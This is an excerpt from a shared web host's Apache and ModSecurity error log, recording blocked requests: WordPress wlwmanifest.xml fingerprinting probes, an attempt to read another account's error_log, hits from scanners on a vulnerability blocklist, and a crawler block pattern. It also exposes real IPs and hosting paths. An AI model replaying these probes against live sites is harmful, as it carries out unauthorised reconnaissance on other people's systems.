https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:12.195526 2026] [security2:error] [pid 531155:tid 531325] [client 143.244.57.86:58294] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ai3x3CmiP80klyS0NnoCdAAAATI"] [Sat Jun 13 18:12:12.260155 2026] [access_compat:error] [pid 531155:tid 531253] [remote 57.141.14.9:48526] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:12.260629 2026] [access_compat:error] [pid 531155:tid 531253] [remote 57.141.14.9:48526] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:12.454945 2026] [access_compat:error] [pid 531797:tid 531868] [remote 57.141.14.92:62938] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:12.455246 2026] [access_compat:error] [pid 531797:tid 531868] [remote 57.141.14.92:62938] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:12.553910 2026] [security2:error] [pid 531797:tid 532127] [client 143.244.57.86:58296] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ai3x3MTA7b1mZrmcA-8zowAAApI"] [Sat Jun 13 18:12:12.761259 2026] [access_compat:error] [pid 531797:tid 531973] [remote 57.141.14.90:23016] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:12.761559 2026] [access_compat:error] [pid 531797:tid 531973] [remote 57.141.14.90:23016] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:12.784328 2026] [security2:error] [pid 531797:tid 531968] [remote 17.246.15.122:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 122.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x3MTA7b1mZrmcA-8zsAACFmc"] [Sat Jun 13 18:12:12.857027 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:12:12.857290 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:12:12.900241 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.95:63691] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:12.900693 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.95:63691] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:12.955563 2026] [security2:error] [pid 531797:tid 532047] [client 143.244.57.86:58312] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ai3x3MTA7b1mZrmcA-8zuQAAAkU"] [Sat Jun 13 18:12:13.215440 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:12:13.215742 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:12:13.264290 2026] [access_compat:error] [pid 531797:tid 531984] [remote 57.141.14.45:59682] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:13.264658 2026] [access_compat:error] [pid 531797:tid 531984] [remote 57.141.14.45:59682] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:13.735108 2026] [security2:error] [pid 531155:tid 531282] [remote 111.225.148.243:29352] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.smartsafetycenter.com"] [uri "/product/safety-jogger-%E0%B8%A3%E0%B8%B8%E0%B9%88%E0%B8%99-ligero/"] [unique_id "ai3x3SmiP80klyS0NnoCkAABYX4"] [Sat Jun 13 18:12:13.764557 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:12:13.764983 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:12:13.873146 2026] [access_compat:error] [pid 531797:tid 531902] [remote 57.141.14.74:26000] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:13.873459 2026] [access_compat:error] [pid 531797:tid 531902] [remote 57.141.14.74:26000] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:13.916252 2026] [access_compat:error] [pid 531797:tid 531904] [remote 57.141.14.39:31182] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:13.916711 2026] [access_compat:error] [pid 531797:tid 531904] [remote 57.141.14.39:31182] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:14.156216 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.53:35170] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:14.156509 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.53:35170] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:14.285864 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50Ni9kZXZpY2UvZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:12:14.286173 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50Ni9kZXZpY2UvZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:12:14.315299 2026] [security2:error] [pid 531797:tid 531991] [remote 17.241.227.140:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x3sTA7b1mZrmcA-8z7gACQ34"] [Sat Jun 13 18:12:14.369253 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.8:28809] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:14.369708 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.8:28809] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:14.542598 2026] [security2:error] [pid 531155:tid 531174] [remote 17.22.237.35:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 35.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x3imiP80klyS0NnoCowABaRI"] [Sat Jun 13 18:12:14.557035 2026] [security2:error] [pid 531797:tid 532122] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/sprintf_f_3.phpt"] [unique_id "ai3x3sTA7b1mZrmcA-8z_gAAAo4"] [Sat Jun 13 18:12:14.704965 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.3:64452] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:14.705310 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.3:64452] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:14.779467 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQwL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:12:14.779777 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQwL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:12:14.783444 2026] [security2:error] [pid 531797:tid 531977] [remote 17.246.19.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x3sTA7b1mZrmcA-80CgACKnA"] [Sat Jun 13 18:12:14.875588 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.84:62556] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:14.875857 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.84:62556] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:14.902576 2026] [security2:error] [pid 531155:tid 531232] [remote 17.241.75.216:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 216.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x3imiP80klyS0NnoCqQABb0w"] [Sat Jun 13 18:12:15.009353 2026] [authz_core:error] [pid 531155:tid 531252] [remote 185.177.72.9:45824] AH01630: client denied by server configuration: /home3/bradgore/public_html/error_log [Sat Jun 13 18:12:15.355949 2026] [access_compat:error] [pid 531155:tid 531224] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:12:15.356398 2026] [access_compat:error] [pid 531155:tid 531224] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:12:15.619985 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.66:46028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:15.620427 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.66:46028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:15.721050 2026] [access_compat:error] [pid 531155:tid 531168] [remote 57.141.14.47:65192] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:15.721358 2026] [access_compat:error] [pid 531155:tid 531168] [remote 57.141.14.47:65192] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:15.805233 2026] [security2:error] [pid 531797:tid 531967] [remote 17.22.253.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x38TA7b1mZrmcA-80OAACeGY"] [Sat Jun 13 18:12:15.880263 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L2lk [Sat Jun 13 18:12:15.880560 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 